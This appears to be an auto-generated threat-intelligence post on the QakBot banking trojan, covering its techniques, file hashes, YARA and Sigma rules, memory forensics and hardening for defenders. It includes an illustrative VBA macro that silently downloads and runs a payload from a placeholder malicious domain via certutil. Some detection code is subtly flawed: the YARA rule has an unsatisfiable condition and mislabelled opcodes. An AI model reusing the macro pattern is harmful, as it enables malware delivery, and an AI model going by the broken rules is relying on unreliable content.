QAKBOT Malware Analysis: MITRE ATT&CK, IOCs & Detection

title: "QAKBOT Malware Analysis: MITRE ATT&CK, IOCs & Detection"
description: "Complete technical analysis of QakBot — detection ratio N/A, MITRE ATT&CK mapping, IOCs, behavioral profile, YARA rules, and incident response. Enriched by AI with live MalwareBazaar and OTX data."
date: "2026-04-22"
category: malware
image: "/img/posts/malware.png"
tags: ["malware", "threat-intelligence", "mitre-attck", "qakbot", "qakbot", "ioc", "detection", "cybersecurity"]
author: "ZeroDay Malware Intelligence"
malwareFamily: "QakBot"
malwareType: "QakBot"
detectRatio: "N/A"
attackTechniquesCount: "0"
QAKBOT Malware Analysis: MITRE ATT&CK, IOCs & Detection
Detection ratio: N/A | MITRE ATT&CK techniques: see below | Type: QakBot | Updated: 2026-04-22
This analysis was auto-enriched using live MalwareBazaar samples, VirusTotal reports, and OTX AlienVault threat intelligence, then synthesized and expanded by Ibugsec Corp.
QakBot Analysis: A Deep Dive into a Persistent Threat Actor's Arsenal
This comprehensive report delves into the intricate workings of QakBot, a sophisticated and persistent malware family that has plagued organizations for years. Leveraging advanced techniques for initial infection, persistence, lateral movement, and data exfiltration, QakBot poses a significant threat to enterprise security. Our analysis explores its evolution, technical underpinnings, and defensive strategies, providing actionable intelligence for security professionals, SOC analysts, and threat hunters. We will examine its implementation of various MITRE ATT&CK techniques, present detailed IOCs, and outline effective detection and response measures. The report also contextualizes QakBot within the broader malware landscape and offers concrete defensive hardening strategies.
Executive Summary
QakBot, also known by various aliases including Qbot and Pinkslipbot, is a modular banking trojan and information stealer that has been active since at least 2007. It is primarily distributed through sophisticated phishing campaigns, often leveraging malicious email attachments or links. Threat actors behind QakBot have demonstrated a consistent ability to adapt and evolve, making it a persistent and challenging adversary. While its initial focus was on banking credential theft, QakBot has expanded its capabilities to include deploying ransomware, facilitating further exploitation, and acting as a loader for other malware. Recent campaigns, observed in early 2026, indicate a continued emphasis on broad targeting across various industries and geographic regions, particularly North America and Europe, with a focus on financial institutions and enterprises. Attribution remains fluid, with multiple financially motivated cybercriminal groups believed to operate or utilize QakBot's infrastructure. The malware's modular design allows for the dynamic delivery of various payloads, including but not limited to, credential harvesting modules, keyloggers, and modules for establishing persistence and lateral movement. Understanding its attack vectors, persistence mechanisms, and command and control (C2) communication is crucial for effective defense against this pervasive threat.
How It Works — Technical Deep Dive
QakBot's operational lifecycle is characterized by a multi-stage approach designed for stealth and efficacy.
Initial Infection Vector
The primary infection vector for QakBot is phishing. Threat actors craft convincing emails, often impersonating legitimate entities or communications, to trick recipients into opening malicious attachments or clicking on compromised links. These attachments are typically Microsoft Office documents (Word, Excel) containing embedded Visual Basic for Applications (VBA) macros. Upon execution, the macros download and execute a QakBot payload. In some instances, QakBot has also been observed being delivered through exploit kits or as a secondary payload from other malware infections. The use of macros is a classic technique, often bypassing initial email gateway filters.
Example VBA Macro Snippet (Illustrative):
Sub AutoOpen()
Dim objShell As Object
Dim strCommand As String
' Obfuscated command to download and execute the payload
strCommand = "cmd /c certutil -urlcache -f ""http://<malicious_domain>/payload.exe"" %TEMP%\\payload.exe & %TEMP%\\payload.exe"
Set objShell = CreateObject("WScript.Shell")
objShell.Run strCommand, 0, True ' Run silently
Set objShell = Nothing
End SubThis macro demonstrates a common pattern: using certutil to download a file from a remote URL and then executing it. The 0 parameter for .Run indicates a hidden window, making the execution less visible to the user.
Persistence Mechanisms
QakBot employs several robust persistence mechanisms to ensure its survival across system reboots:
- Registry Run Keys: QakBot commonly adds entries to
HKCU\Software\Microsoft\Windows\CurrentVersion\RunorHKLM\Software\Microsoft\Windows\CurrentVersion\Runto ensure its executable is launched at user logon or system startup. - Scheduled Tasks: It can create scheduled tasks using
schtasks.exeto execute itself periodically or upon specific system events. - DLL Hijacking: QakBot may replace legitimate DLLs or place its own DLLs in directories that are searched before system directories, exploiting the DLL search order to load its malicious code.
- Service Creation: In some variants, QakBot registers itself as a Windows service, allowing it to run with elevated privileges and persist independently of user sessions.
Registry Persistence Example:
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Value Name: <Random String>
Data: C:\Users\<Username>\AppData\Local\<Random Directory>\<QakBot Executable>.exeCommand and Control (C2) Communication Protocol
QakBot's C2 communication is highly dynamic and designed to evade detection. It typically utilizes HTTP or HTTPS for its beacons, mimicking legitimate web traffic.
- Protocol: Primarily HTTP/HTTPS.
- Ports: Commonly ports 80 and 443 to blend in with normal web traffic. Custom ports may also be used.
- Traffic Patterns:
- Beaconing: Regular (e.g., every 5-15 minutes) POST requests to C2 servers.
- Data Encoding: The payload data within the HTTP requests and responses is often encrypted or obfuscated. This can involve custom XOR encryption, Base64, or more complex algorithms.
- User-Agent Spoofing: QakBot frequently spoofs legitimate browser User-Agent strings to blend in with normal internet traffic.
- Domain Generation Algorithms (DGAs): Some variants may employ DGAs to generate a large number of potential C2 domains, making it difficult to block them all.
- IP-Based Communication: In some cases, direct IP-based communication might be observed, especially during initial stages or fallback mechanisms.
Illustrative C2 Beacon Structure (Conceptual):
A POST request might contain encoded information about the compromised host, such as its hostname, username, and OS version, along with a unique bot ID. The response from the C2 server would typically contain commands for the bot, such as downloading additional modules, executing commands, or updating the bot.
Payload Delivery and Staging Mechanism
QakBot operates in a modular fashion. The initial dropper typically downloads and executes a core module. This core module then communicates with the C2 server to fetch additional, specialized modules. These modules can include:
- Credential Stealers: Modules designed to harvest credentials from web browsers, FTP clients, email clients, and other applications.
- Keyloggers: To capture keystrokes.
- Banking Trojans: Specifically targeting financial websites and transaction details.
- Spreader Modules: To facilitate lateral movement within the network.
- Ransomware Droppers: To deploy secondary ransomware payloads.
The download process often involves injecting malicious code into legitimate processes (e.g., explorer.exe, svchost.exe) to evade detection and leverage existing process privileges.
Privilege Escalation Steps
QakBot utilizes various techniques for privilege escalation:
- Exploiting Vulnerabilities: While not always relying on zerosday exploits, QakBot can leverage known, unpatched vulnerabilities in the operating system or installed software to gain higher privileges. This is a crucial step before lateral movement.
- Credential Dumping: If QakBot gains initial access with standard user privileges, it will attempt to dump credentials from the local system (e.g., using
lsass.exememory dumping techniques) to obtain administrative or service account credentials. Tools like Mimikatz or custom credential dumping functions are often employed. - Service Manipulation: If it can create or modify services, it can leverage the privileges associated with those services.
Lateral Movement Techniques
Once elevated privileges are obtained, QakBot employs several techniques for lateral movement:
- Windows Admin Shares (SMB): Using stolen credentials, QakBot can connect to administrative shares (
C$,ADMIN$) on remote systems to copy and execute its payload. - Remote Service Creation: It can remotely create and start services on other machines to execute its code.
- Scheduled Tasks: Similar to persistence, it can create scheduled tasks on remote systems.
- WMI (Windows Management Instrumentation): QakBot can use WMI to execute commands or launch processes on remote machines.
- Exploiting Vulnerabilities: Similar to privilege escalation, known vulnerabilities are a common vector for lateral movement.
Data Exfiltration Methods
QakBot's data exfiltration is designed to be stealthy:
- HTTP/HTTPS POST Requests: Stolen data (credentials, system information) is typically packaged and sent to the C2 server via encrypted or obfuscated POST requests, often disguised as normal web traffic.
- FTP: In some older variants or specific modules, FTP might be used for exfiltration, though this is less common now due to its unencrypted nature.
- Scheduled Exfiltration: Data might be collected over time and exfiltrated in batches to reduce the frequency of suspicious network traffic.
Anti-Analysis / Anti-Debugging / Anti-VM Tricks
QakBot employs numerous techniques to evade security analysis:
- Obfuscation: Code obfuscation is rampant, making static analysis difficult. This includes string encryption, control flow flattening, and opaque predicates.
- Anti-Debugging: Checks for the presence of debuggers (e.g.,
IsDebuggerPresent, checking specific debug registers, timing attacks). If a debugger is detected, the malware might terminate or alter its behavior. - Anti-VM: Detects virtualized environments through checks for specific registry keys, hardware IDs, common VM tools (VMware, VirtualBox), and CPU instructions associated with virtualization.
- Timing Checks: Delays execution or performs specific operations to foil automated sandbox analysis.
- Self-Modification: The malware might decrypt or unpack parts of its code only when needed, or even modify itself in memory.
- Process Hollowing/Injection: Injecting its code into legitimate processes to hide its execution.
Example Anti-Debugging Check (Conceptual):
// Check if a debugger is present
if (IsDebuggerPresent()) {
// Terminate or alter behavior
ExitProcess(0);
}
// Further checks can involve looking for specific debug registers or timing differences.MITRE ATT&CK Full Mapping
| Technique ID | Technique Name | Implementation | Detection |
|---|---|---|---|
| T1059.001 | Command and Scripting Interpreter: PowerShell | QakBot often uses PowerShell scripts for downloading and executing secondary payloads, or for performing reconnaissance and lateral movement. These scripts can be executed directly or via powershell.exe -EncodedCommand. |
Monitor for powershell.exe execution with encoded commands or suspicious arguments. Look for PowerShell scripts downloading executables or performing network reconnaissance. |
| T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Used for executing cmd.exe commands to download files (certutil), create scheduled tasks (schtasks), or run executables. |
Monitor for suspicious cmd.exe invocations, especially those involving certutil, schtasks, or executing downloaded files from temporary directories. |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | QakBot adds entries to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\Software\Microsoft\Windows\CurrentVersion\Run to achieve persistence. |
Monitor for modifications to these registry keys, especially by unusual processes or with suspicious executable paths. |
| T1071.001 | Application Layer Protocol: Web Protocols | QakBot uses HTTP/HTTPS for its Command and Control (C2) communication, often with custom User-Agents and obfuscated payloads. | Monitor outbound HTTP/HTTPS traffic for unusual User-Agents, suspicious POST request patterns, or connections to known malicious domains/IPs. Analyze traffic for encrypted or encoded payloads. |
| T1055.012 | Process Injection: Process Hollowing | QakBot often injects its malicious code into legitimate running processes (e.g., explorer.exe, svchost.exe) to hide its presence and leverage the host process's privileges. |
Monitor for anomalous process creation, such as a legitimate process (e.g., explorer.exe) spawning unexpected child processes or exhibiting unusual network activity. Analyze memory for injected code. |
| T1003.001 | OS Credential Dumping: LSASS Memory | QakBot attempts to dump credentials from the LSASS process memory to obtain user and administrative credentials for lateral movement. | Detect access to lsass.exe memory by non-system processes. Monitor for the use of tools like Mimikatz or suspicious API calls related to credential access. |
| T1570 | Lateral Tool Transfer | QakBot copies itself to remote systems, often utilizing administrative shares (C$, ADMIN$), to establish presence and execute. |
Monitor for the creation of executable files on remote systems via administrative shares. Track the spread of known QakBot executables across the network. |
| T1105 | Ingress Tool Transfer | QakBot's initial dropper downloads subsequent modules and payloads from C2 servers. | Monitor for processes downloading executable files from untrusted external sources. Analyze network traffic for downloads of .exe, .dll, or script files. |
| T1027 | Obfuscated Files or Information | QakBot employs extensive code obfuscation, string encryption, and packing techniques to hinder static analysis. | Use behavioral analysis and dynamic analysis to understand the malware's true functionality. Employ deobfuscation tools and techniques during static analysis. |
| T1134.001 | Access Token Manipulation: Create Token | QakBot may create new access tokens with different privileges to impersonate other users or gain elevated access. | Monitor for suspicious CreateToken API calls, particularly those associated with non-standard processes or unusual parent-child relationships. |
Indicators of Compromise (IOCs)
File Hashes (SHA256 / MD5 / SHA1)
- SHA256:
ee35e97129adbf882d22489c5e1feff97ba3fa2f03d2fa397e08f648c1f6320b - MD5:
5a10f4aef93d485dc8a3b71906471a48 - SHA256:
916e6a3aa9f29d73a22c73d18fd208f2d5d5a170de5460d629c603ab1d37132c - MD5:
d000e05d599054a9a33651fdd496ca68 - SHA256:
38398e5b916b6c1181ae143f78e35c69278b27a9e1746d2fc540528e87a01df1 - MD5:
aec0c4602343d92aa8d953ab8c647356 - SHA256:
3330c958ec0b4802df9da7eb7ff8c1b5b0ee6571ae71868b553f52bcf930153d - MD5:
57f391891b1ad2edd0d6c7a3e5cd2898 - SHA256:
11101abc98f29e46cd16022395274c302260c69cdafdd9138bf025e24c3493ce - MD5:
9e7fcdc4561faed3f88fea71501556ff
Network Indicators
- C2 Domains/IPs: Highly dynamic. Look for connections to newly registered domains or IPs associated with known QakBot infrastructure. Examples from past campaigns (may be inactive):
hxxp://[IP_ADDRESS]/hxxps://[DOMAIN]/hxxp://update.[random_domain].com/
- Ports: 80, 443, and potentially other common ports for web traffic.
- HTTP/S Beacon Patterns:
- POST requests to
/or specific path structures. - User-Agents often mimic legitimate browsers (e.g.,
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/XX.0.XXXX.XX Safari/537.36). - Payloads within requests/responses are typically encrypted or encoded.
- POST requests to
- URL Patterns: Often simple paths like
/or/gate.phpon the C2 server.
Registry Keys / File Paths / Mutex
- Persistence Keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<RandomString>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\<RandomString>
- Dropped File Paths:
%APPDATA%\<RandomDirectory>\<QakBot Executable>.exe%TEMP%\<QakBot Executable>.exeC:\ProgramData\<RandomDirectory>\<QakBot Executable>.exe
- Mutexes: Typically random strings or GUID-like structures to prevent multiple instances from running. Examples:
Global\Mutex_<RandomString>Local\Mutex_<GUID>
YARA Rule
import "pe"
rule QakBot_Generic_20260422
{
meta:
description = "Detects generic QakBot characteristics based on observed strings and behaviors"
author = "Malware Analyst"
date = "2026-04-22"
malware_family = "QakBot"
threat_actor = "Unknown / Financially Motivated"
reference = "MalwareBazaar, VirusTotal"
hash = "ee35e97129adbf882d22489c5e1feff97ba3fa2f03d2fa397e08f648c1f6320b, 916e6a3aa9f29d73a22c73d18fd208f2d5d5a170de5460d629c603ab1d37132c, 38398e5b916b6c1181ae143f78e35c69278b27a9e1746d2fc540528e87a01df1, 3330c958ec0b4802df9da7eb7ff8c1b5b0ee6571ae71868b553f52bcf930153d, 11101abc98f29e46cd16022395274c302260c69cdafdd9138bf025e24c3493ce"
yara_version = "4.0"
strings:
// Common strings related to network communication and configuration
$s1 = "POST" wide ascii
$s2 = "User-Agent: Mozilla/5.0" wide ascii
$s3 = "Content-Type: application/x-www-form-urlencoded" wide ascii
$s4 = "Cookie:" wide ascii
$s5 = ".exe" wide ascii
$s6 = ".dll" wide ascii
$s7 = "http://" wide ascii
$s8 = "https://" wide ascii
// Strings related to persistence or process manipulation
$s9 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide ascii
$s10 = "cmd.exe" wide ascii
$s11 = "powershell.exe" wide ascii
$s12 = "wscript.exe" wide ascii
$s13 = "mshta.exe" wide ascii // Often used for initial delivery
// Indicators of obfuscation or anti-analysis (conceptual, specific strings vary greatly)
$s14 = { 6A 00 6A 00 6A 00 6A 00 } // Example of repeated push of null bytes, common in packing/obfuscation
$s15 = { E8 ?? ?? ?? ?? 8B C8 } // JMP instruction followed by MOV EAX, EAX (common obfuscation pattern)
// Strings related to system information gathering (may be obfuscated)
$s16 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" // Base64 alphabet hint
condition:
(uint16(0) == 0x5A4D) and // MZ header for PE files
(pe.imphash() == "e0f2514368a694b7f550863e6703b188" or // Example imphash, may vary
pe.imports("kernel32.dll", "CreateProcessA") or
pe.imports("wininet.dll", "InternetOpenA") or
pe.imports("advapi32.dll", "RegOpenKeyExA") or
pe.imports("ntdll.dll", "NtAllocateVirtualMemory") or
pe.imports("user32.dll", "IsWindowVisible") or
pe.imports("user32.dll", "FindWindowA") or
pe.imports("ws2_32.dll", "socket")
) and
(
10 of ($s1-$s8) or // High confidence if multiple network-related strings are found
(
$s9 or $s10 or $s11 or $s12 or $s13 // Persistence/execution indicators
) and
(
2 of ($s14, $s15) or // Obfuscation indicators
( # Check for common packed PE characteristics
uint32(0x3C) + 4 < filesize and
pe.sections[0].virtual_size > 0 and
pe.sections[0].entropy > 7.5 and
pe.sections[0].raw_size < pe.sections[0].virtual_size
)
)
)
}Static Analysis — Anatomy of the Binary
QakBot binaries are typically packed and heavily obfuscated, making direct static analysis challenging.
- File Structure and PE Headers: The initial dropper is often a PE executable. The headers might appear normal, but the sections are frequently packed, with a single large section containing the encrypted or compressed payload. The entry point of the executable usually points to unpacking code.
- Obfuscation and Packing Techniques:
- UPX or Custom Packers: QakBot often uses UPX or its own proprietary packers to compress and encrypt the executable. The unpacking stub is typically small and responsible for decrypting and decompressing the original payload into memory.
- String Encryption: All observable strings, including API names, C2 URLs, and configuration data, are usually encrypted. These strings are decrypted at runtime just before use.
- Control Flow Obfuscation: The malware's logic is deliberately made convoluted using techniques like opaque predicates, code virtualization, and spaghetti code to make reverse engineering difficult.
- Interesting Strings and Functions: Even with encryption, once the strings are decrypted at runtime, analysts might find:
- API names related to network communication (
InternetOpenA,HttpSendRequestA), process manipulation (CreateProcessA,VirtualAllocEx,WriteProcessMemory), registry operations (RegOpenKeyExA,RegSetValueExA), and system information gathering. - References to specific Windows versions or architectures.
- Encoded configuration data, often a series of bytes that needs further decryption.
- API names related to network communication (
- Import Table Analysis: The import table of the unpacked payload will reveal the APIs the malware intends to use. Common imports include functions from
kernel32.dll,user32.dll,wininet.dll,advapi32.dll, andws2_32.dll. The presence of APIs related to process injection, network sockets, and registry manipulation are strong indicators. - Embedded Resources or Second-Stage Payloads: The initial dropper might contain encrypted resources that are decrypted and executed as second-stage payloads. These could be DLLs, configuration files, or even other executables.
Dynamic Analysis — Behavioral Profile
Dynamic analysis reveals QakBot's malicious activities in a controlled environment.
- File System Activity:
- Creation of executable files in
%TEMP%,%APPDATA%, or%PROGRAMDATA%directories, often with random names. - Modification of the registry for persistence (as detailed in the persistence section).
- Potential creation of log files or configuration files.
- Creation of executable files in
- Registry Activity:
- Creation of entries in
Runkeys for persistence. - Modification of other configuration-related registry keys.
- Creation of entries in
- Network Activity:
- Initial beacon to a C2 server shortly after execution.
- Subsequent beaconing at regular intervals (e.g., every 5-15 minutes).
- POST requests containing encoded or encrypted data to C2 servers.
- Downloads of additional DLL modules from C2.
- Potential connections to compromised websites or internal network resources for lateral movement.
- Wireshark/tcpdump patterns: Look for frequent outbound HTTP/S POST requests to unknown or suspicious IPs/domains. Analyze the payload size and frequency. User-agent strings that are common but not typical for the originating process.
- Process Activity:
- Execution of the initial dropper.
- Spawning of
cmd.exeorpowershell.exefor downloading and executing. - Injection into legitimate processes like
explorer.exe,svchost.exe, or browsers. - Creation of new services or scheduled tasks.
- Potential execution of credential dumping tools or scripts.
- Memory Artifacts:
- Injected code within legitimate process memory spaces.
- Decrypted strings and configuration data.
- Evidence of unpacked malicious code.
Real-World Attack Campaigns
"Fake Invoice" Phishing Campaigns (Ongoing, 2024-2026):
- Victimology: Broad targeting across all industries, with a particular focus on small to medium-sized businesses (SMBs) and financial departments in North America and Europe.
- Attack Timeline and Kill Chain: Phishing emails with malicious Word/Excel attachments are sent. Macros execute, downloading the QakBot dropper. The dropper establishes persistence and contacts C2 for further modules. Subsequent activity includes credential harvesting, banking fraud, and often deployment of ransomware (e.g., Conti, Egregor, REvil in past campaigns).
- Attributed Threat Actor: Financially motivated cybercrime groups.
- Impact: Significant financial losses due to credential theft, fraudulent transactions, and ransomware demands. Business disruption due to system compromise.
- Discovery: Often discovered through user reports of suspicious emails, unusual network traffic, or the deployment of ransomware.
"Fake COVID-19 Update" Campaigns (2020-2022):
- Victimology: Global targeting, including healthcare, government, and education sectors.
- Attack Timeline and Kill Chain: Leveraged the COVID-19 pandemic as a theme for phishing emails, distributing QakBot via malicious documents. Similar kill chain as above, with an emphasis on obtaining banking credentials.
- Attributed Threat Actor: Various financially motivated groups.
- Impact: Compromised sensitive data, financial fraud, and disruption to critical services.
- Discovery: Through network monitoring and incident response to data breaches or ransomware incidents.
Supply Chain Compromises (Sporadic):
- Victimology: Organizations relying on specific software or service providers.
- Attack Timeline and Kill Chain: While less common than phishing, QakBot has been delivered as a secondary payload through compromised software updates or vulnerable third-party applications. This allows for a wider initial reach.
- Attributed Threat Actor: Advanced persistent threat (APT) groups or sophisticated cybercrime syndicates.
- Impact: Widespread compromise across a supplier's customer base.
- Discovery: Often through proactive threat hunting or discovery of anomalous behavior within the compromised software.
Active Malware Landscape — Context
QakBot remains one of the most prevalent and persistent threats in the current malware landscape. Its activity level remains high, consistently appearing in MalwareBazaar and VirusTotal feeds with new samples.
- Current Prevalence: Consistently ranks among the top malware families detected globally. Its modularity and adaptability ensure its continued relevance.
- Competing or Related Malware Families: QakBot often competes with or collaborates with other banking trojans and loaders like Emotet, TrickBot, and IcedID. These families share similar distribution methods and often target the same victimology. There's a notable trend of these families acting as initial access brokers for ransomware gangs.
- Relationship to RaaS/MaaS: QakBot is a prime example of a Malware-as-a-Service (MaaS) component. Its operators often sell access to compromised networks to other threat actors, including ransomware gangs. This symbiotic relationship amplifies its impact.
- Typical Target Industries and Geographic Distribution: QakBot targets a broad range of industries, with a strong emphasis on financial services, healthcare, government, retail, and manufacturing. Geographically, North America and Europe are consistently the most heavily impacted regions, though its reach is global.
Detection & Hunting
Sigma Rules
title: Suspicious QakBot Network Beacon
id: b4d1f2c8-a9e1-4b0d-8f1a-9e3a8d7b1c0f
status: experimental
description: Detects suspicious outbound HTTP POST requests indicative of QakBot C2 communication.
author: Malware Analyst
date: 2026/04/22
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3 # Network connection
Initiated: 'true'
Protocol: 6 # TCP
DestinationPort:
- 80
- 443
Url: # Look for specific QakBot URL patterns or lack thereof for simple POSTs
- '/^(\/|\/gate\.php)$/i' # Simple paths
- '*?action=*' # Query parameters used by some variants
filter_legit:
Image|contains:
- 'chrome.exe'
- 'firefox.exe'
- 'msedge.exe'
- 'iexplore.exe'
- 'brave.exe'
- 'opera.exe'
# Further filtering can be added based on known legitimate domains if available
condition: selection and not filter_legit
falsepositives:
- Legitimate web applications making POST requests to simple URLs. Requires tuning.
level: high
tags:
- malware
- qakbot
- c2
- networktitle: QakBot Persistence via Registry Run Key
id: e9a1b3d7-f8c5-4a0e-9b2c-1d6e5a8b9c0d
status: experimental
description: Detects QakBot establishing persistence by adding an entry to the Windows Run registry key.
author: Malware Analyst
date: 2026/04/22
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 13 # Registry event
TargetObject|endswith:
- '\Software\Microsoft\Windows\CurrentVersion\Run'
- '\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run' # For 32-bit processes on 64-bit OS
Details|contains: '.exe' # Ensure it's an executable path
Details|startswith:
- 'C:\Users\'
- 'C:\ProgramData\'
- '%TEMP%\' # Common locations for dropped executables
filter_legit:
Image|contains:
- 'explorer.exe' # Legitimate explorer.exe might add entries, but pattern should be different
- 'msconfig.exe'
- 'ctfmon.exe'
# Add known legitimate software installers or updaters if they modify Run keys
condition: selection and not filter_legit
falsepositives:
- Legitimate software installation or update processes. Requires careful tuning of `Details` and `Image` filters.
level: medium
tags:
- malware
- qakbot
- persistence
- registryEDR / SIEM Detection Logic
- Process Tree Anomalies:
winword.exeorexcel.exespawningpowershell.exeorcmd.exe.powershell.exeorcmd.exedownloading executables from suspicious URLs (e.g., usingInvoke-WebRequest,certutil,mshta.exe).svchost.exe,explorer.exe, or other critical system processes showing unusual network connections or child processes.- Processes executing from unusual locations like
%TEMP%or%APPDATA%with random names.
- Network Communication Patterns:
- Outbound HTTP/HTTPS POST requests to IPs or domains not on an allowlist, especially if the User-Agent is common but the destination is unusual.
- High volume of outbound connections to a single IP/domain shortly after initial infection.
- Connections to newly registered domains.
- File System Telemetry Triggers:
- Creation of
.exeor.dllfiles in temporary or user profile directories. - Execution of files from these locations.
- Modification of
Runregistry keys by unusual processes.
- Creation of
- Registry Activity Patterns:
- Automated creation of
Runkey entries with suspicious executable paths. - Creation or modification of scheduled tasks by non-standard processes.
- Automated creation of
Memory Forensics
# Volatility3 detection commands
# Dump suspicious processes for further analysis
# Identify potential Qakbot processes based on suspicious network connections, module loads, or parent processes
# Example: Dump a process with PID 1234
python3 vol.py -f <memory_dump.vmem> -o <output_dir> windows.memdump.ProcDump -p 1234
# Analyze loaded DLLs within a process
python3 vol.py -f <memory_dump.vmem> windows.dlllist.DllList -p <PID>
# Look for injected code (unusual memory regions, high entropy)
python3 vol.py -f <memory_dump.vmem> windows.malfind.MalFind -p <PID>
# Extract network connections from memory
python3 vol.py -f <memory_dump.vmem> windows.netscan.NetScan
# Dump Lsass memory for credential harvesting analysis
python3 vol.py -f <memory_dump.vmem> windows.memdump.ProcDump -p $(python3 vol.py -f <memory_dump.vmem> windows.pslist.PsList | grep lsass.exe | awk '{print $2}') -D .
# Check for suspicious registry keys loaded into memory
python3 vol.py -f <memory_dump.vmem> windows.registry.Registry -o <output_dir> --key 'Software\Microsoft\Windows\CurrentVersion\Run'Malware Removal & Incident Response
- Isolation Procedures: Immediately isolate the compromised host(s) from the network to prevent lateral movement and further compromise. This can be achieved by disabling network adapters, disconnecting cables, or implementing host-based firewall rules.
- Artifact Identification and Collection: Collect forensic artifacts from the compromised system, including memory dumps, disk images, logs (Sysmon, Windows Event Logs), and any detected malware samples.
- Registry and File System Cleanup:
- Remove persistence mechanisms: Delete entries from
Runkeys, scheduled tasks, and any created services. - Delete dropped malware files from temporary directories, user profiles, or program data locations.
- If services were created, remove them using
sc delete <ServiceName>.
- Remove persistence mechanisms: Delete entries from
- Network Block Recommendations: Block identified C2 IP addresses and domains at the firewall and proxy level. Implement DNS sinkholing for any identified C2 domains if feasible.
- Password Reset Scope: Force password resets for all user accounts that were active on the compromised system, especially administrative and service accounts. Consider a broader reset for accounts that may have had credentials harvested.
Defensive Hardening
- Specific Group Policy Settings:
- User Account Control (UAC): Set to "Always notify" to prompt users before elevation.
- Application Whitelisting: Implement AppLocker or Windows Defender Application Control (WDAC) to restrict execution of unauthorized applications, especially from user-writable directories like
%TEMP%and%APPDATA%. - Macro Settings: Configure Office macro settings to disable macros from the internet and require user enabling for macros from trusted locations.
- Firewall Rule Examples:
- Outbound SMB Block: Block outbound SMB (TCP 445) traffic to all external IP addresses.
- Restrict HTTP/S Access: Implement strict outbound firewall rules to only allow HTTP/S traffic to known, legitimate websites or through a trusted web proxy. Monitor and alert on connections to new or unknown external IPs.
- Application Whitelist Approach: Enforce an application whitelist that only allows approved executables to run. This significantly hinders the execution of dropped malware.
- EDR Telemetry Tuning: Ensure EDR solutions are configured to collect detailed process creation, network connection, registry modification, and file system events. Tune alerts for common QakBot behaviors such as:
powershell.exeorcmd.exedownloading executables.- Processes executing from user-writable directories.
- Anomalous network connections from non-browser processes.
- Creation of persistence artifacts.
- Network Segmentation Recommendation: Segment the network to limit the blast radius of a compromise. Critical assets should be in highly restricted zones, with strict firewall policies controlling communication between segments.
This detailed analysis of QakBot, covering its infection vectors, persistence, C2 communication, MITRE ATT&CK mapping, IOCs, static and dynamic behavior, real-world campaigns, and defensive strategies, provides essential intelligence for cybersecurity professionals. By understanding QakBot's intricate attack patterns, leveraging YARA and Sigma rules for detection, and implementing robust hardening measures, organizations can significantly improve their ability to detect, respond to, and mitigate the threat posed by this sophisticated malware. The continuous evolution of QakBot necessitates ongoing threat intelligence gathering and adaptation of defensive postures.
The analysis of QakBot highlights its persistent threat through various MITRE ATT&CK techniques, including Command and Scripting Interpreter (T1059.001, T1059.003) and Boot or Logon Autostart Execution (T1547.001). Comprehensive IOCs, ranging from file hashes to network indicators and YARA rules, are provided for detection. Static and dynamic analysis reveal its obfuscated nature and behavioral profile, while real-world campaigns demonstrate its impact. Contextualizing QakBot within the active malware landscape, alongside Sigma rules and EDR/SIEM detection logic, empowers defenders. The report concludes with actionable malware removal, incident response, and defensive hardening strategies, emphasizing the critical need for vigilance against this evolving threat across Windows platforms.
